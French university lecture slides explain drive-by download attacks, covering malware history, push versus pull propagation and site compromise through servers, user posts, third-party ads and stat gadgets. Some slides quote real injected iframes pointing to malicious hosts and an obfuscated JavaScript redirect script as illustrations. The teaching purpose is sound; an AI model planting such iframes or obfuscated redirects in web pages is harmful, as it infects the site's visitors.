Cours #04 Drive-by downloading Jean-Marc Robert Génie logiciel et des TI
Plan de présentation Logiciels malveillants Amateurs Professionnels Propagation: Push model versus Pull model Nouveau modèle de propagation: Drive-by downloading Phase I: Compromettre un site web Phase II: Exploiter une vulnérabilité 2
Logiciels malveillants: Premières générations L œuvre d amateurs cherchant à démontrer leurs compétences techniques. Publicité, reconnaissance, Traditionnellement, l objectif de ces logiciels malveillants était de se propager sur le plus de systèmes possible. Occasionnellement, ces logiciels cherchaient à détruire les systèmes infectés. 3
Logiciels malveillants: Nouvelles générations L œuvre de professionnels cherchant à monnayer leurs activités illicites. L objectif de ces nouveaux logiciels malveillants est de compromettre le plus de systèmes possible afin de maximiser les profits tout en demeurant le plus discret possible. Se propager le plus efficacement possible. 4
Propagation: Push model versus Pull model Push model Modèle classique Le logiciel malveillant (ver) cherche à se propager à travers le réseau grâce à une vulnérabilité. P. ex., Slammer Le ver est proactif. Pull model Nouveau modèle Le logiciel malveillant attend que le système vulnérable «vienne» à lui. Le système vulnérable est proactif. Points faibles: Génération aléatoire de fausses adresses. Systèmes protégés par des pare-feu ou des NATs (adresses privées). Points forts: Permets de passer outre les pare-feu et les NATs. Peut demeurer «invisible» lors de l infection. 5
Propagation: Drive-by downloading La simple navigation sur le web est maintenant devenue une activité dangereuse. Simplement en visitant un site web malicieux, un système vulnérable peut devenir infecté. Une recherche effectuée au début de 2007 par une équipe de chercheurs de Google a démontré que sur 4,5 millions d URL ayant été analysées 450,000 URL ont cherché à installer un logiciel malveillant à travers le fureteur; 700,000 URL ont eu un comportement douteux (non confirmé). 6
Drive-by downloading deux préalables Un site web malicieux distribuant des logiciels malveillants Simplement en le visitant (pull model) Un fureteur vulnérable 7
I un site web malicieux Développer un site web malicieux. Malheureusement, comment attirer les visiteurs. Compromettre un site existant. Profiter d un grand nombre de visiteurs. 8
Compromettre un site web Le contenu d un site web est généralement développé par son propriétaire. Cependant, il existe des exceptions notoires: Publicité provenant de tiers Information provenant des usagers (p.ex. blogue, forum, ) Gadgets informatiques (p.ex. compteurs, calendriers, ) 9
Compromettre un site web: I Serveur Un serveur web est aussi sûr que son application la plus vulnérable! Applications administratives ssh (attaque massive d un mot de passe) Serveur http Applications (utilisant des langages de script) Bases de données Il «suffit» de trouver une vulnérabilité permettant d accéder au serveur avec les privilèges de l administrateur. 10
Compromettre un site web: I Serveur Une fois que le serveur est compromis, le tour est joué! Un exemple parmi des milliers possibles: <!-- Copyright Information --> <div align= center class= copyright >Powered by <a href="http://www.invisionboard.com">invision PowerBoard</a> (U)v1.3.1 Final 2003 <a href= http://www.invisionpower.com >IPS, Inc.</a></div> <iframe src= http://wsfgfdgrty.net/adv/193/new.php ></iframe> <iframe src= http://wsfgfdgrty.net/adv/new.php?adv=193 ></iframe> Chaque iframe ayant été ajouté exploite une vulnérabilité donnée. Lors du test, 50 binaires malicieux ont infecté le système! 11
Compromettre un site web: II Usagers Information provenant des usagers (p.ex. blogue, forum, ) Seulement un sous-ensemble HTML devrait être accepté. Malheureusement, dû à une mauvaise vérification certains usagers peuvent inclure du code malicieux HTML. Iframe, script, Un exemple parmi des milliers possibles: <SCRIPT language=javascript> Function tqzyu(nemz)juyu="lo";sdfwe78="catio";jj="n.r";vj20=2;uyty="eplac";iuiuh8889="e" ;vbb25="( "; awq27="";sftfttft=4;fghdh=" ht";ji87gkol="tp:/";olkiuu="/vi";jbhj89="deo";jhbhi87= "zf";hgdxgf="re"; jkhuift="e.c";jygyhg="om ";dh4=eval(fghdh+ji87gkol+polkiuu+jbhj89+jhbhi87+hgd xgf+jkhuift+jygyhg);je15=" )";if (vj20+sftfttft==6) eval(juyu+sdfwe78+kjj+uyty+iuiuh8889+vbb25+awq27+dh4+je15);otqzyu();// </SCRIPT> location.replace ( http:/ /videozfree.com )" 12
Compromettre un site web: III Publicité Publicités contrôlées par des tiers! 13
Compromettre un site web: III Publicité Web Javascript Fournisseur publicitaire Fournisseur publicitaire Fournisseur publicitaire Pouvons-nous faire confiance à un sous-traitant du sous-traitant? 14
Compromettre un site web: III Publicité Un site de partage vidéo (décembre 2006) La page web contenait une bannière publicitaire d une grande compagnie publicitaire américaine un premier module Javascript. Ce premier module générait un deuxième module JavaScript pour accéder à une autre grande compagnie publicitaire américaine (2 ième ). Ce deuxième module générait un troisième module Javascript pour accéder à une petite compagnie américaine (3 ième ) fournissant des annonces publicitaires en fonction de la région où se retrouve l usager. Cette publicité régionale contenait un iframe dans sa page HTML pointant vers une compagnie publicitaire russe (4 ième ). En interprétant cet iframe, le fureteur était redirigé vers une page (xx.xx.xx.xx/aeijs/) contenant un module Javascript chiffré essayant d exploiter de nombreuses vulnérabilités du fureteur afin d installer des logiciels malveillants. 15
Compromettre un site web: IV Gadgets Un gadget informatique est un lien vers un module Javascript ou un iframe fournissant une fonctionnalité particulière. Compteur Calendrier Malheureusement, ces gadgets sont fournis régulièrement par des entités externes. 16
Compromettre un site web: IV Gadgets <!-- Begin Stat Basic code --> <script language="javascript" src="http://m1.stat.xx/basic.js"> </script><script language="javascript"> <!-- statbasic("st8bicclfudmahktah3inbhtwowa", 0); // --> </script> <noscript> <a href="http://v1.stat.xx/stats?st8bidmahkthtwowa"> <img src="http://m1.stat.xx/n?id=st8bidmahkthtwowa" border="0" nosave width="18" height="18"></a></noscript> <!-- End Stat Basic code --> Ce gadget devait conserver les statistiques sur le nombre de visiteurs depuis 2002. Malheureusement, ce gadget est une source d infection depuis 2006. 17
Compromettre un site web: IV Gadgets Un exemple intéressant: iframemoney.org. Cette entreprise paie les webmestres pour qu'ils incluent un iframe malicieux dans leurs pages web. En juin 2007, iframemoney.org était en activité depuis octobre 2006 et offrait $7 pour chaque tranche de 10,000 nouveaux visiteurs. 18
Références N. Provos, D. McNamee, P. Mavrommatis, K. Wang et N. Modadugu, The Ghost In The Browser Analysis of Web-based Malware, Usenix Hotbots 2007. 19